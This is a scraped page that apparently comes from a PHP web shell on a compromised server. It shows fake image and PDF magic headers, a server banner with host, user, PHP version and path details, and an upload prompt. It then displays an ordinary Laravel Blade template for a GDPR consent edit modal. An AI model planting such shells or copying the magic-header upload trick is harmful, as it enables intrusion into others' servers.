%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/resources/views/gdpr-settings/ |
Upload File : |
<div class="modal-header">
<h5 class="modal-title">@lang('app.menu.editConsent')</h5>
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
</div>
<div class="modal-body">
<div class="portlet-body">
<x-form id="updateConsent" method="POST" class="form-horizontal">
@method('put')
<div class="row">
<div class="col-lg-12">
<x-forms.text class="mr-0 mr-lg-2 mr-md-2" :fieldLabel="__('app.name')" :fieldPlaceholder="__('placeholders.consent')" fieldName="name" fieldId="name" :fieldValue="$consent->name" fieldRequired="true"/>
</div>
<div class="col-md-12">
<div class="form-group my-3">
<x-forms.textarea class="mr-0 mr-lg-2 mr-md-2"
:fieldLabel="__('app.description')" fieldName="description"
fieldId="description" :fieldPlaceholder="__('placeholders.consentDescription')"
:fieldValue="$consent->description" fieldRequired="true">
</x-forms.textarea>
</div>
</div>
</div>
</x-form>
</div>
</div>
<div class="modal-footer">
<x-forms.button-cancel data-dismiss="modal" class="border-0 mr-3">@lang('app.cancel')</x-forms.button-cancel>
<x-forms.button-primary id="save-consent" icon="check">@lang('app.save')</x-forms.button-primary>
</div>
<script>
$('#save-consent').click(function () {
$.easyAjax({
container: '#updateConsent',
type: "POST",
disableButton: true,
blockUI: true,
buttonSelector: "#save-consent",
url: "{{ route('gdpr.update_consent', $consent->id) }}",
data: $('#updateConsent').serialize(),
success: function (response) {
if (response.status == 'success') {
showTable();
$(MODAL_LG).modal('hide');
}
}
})
});
</script>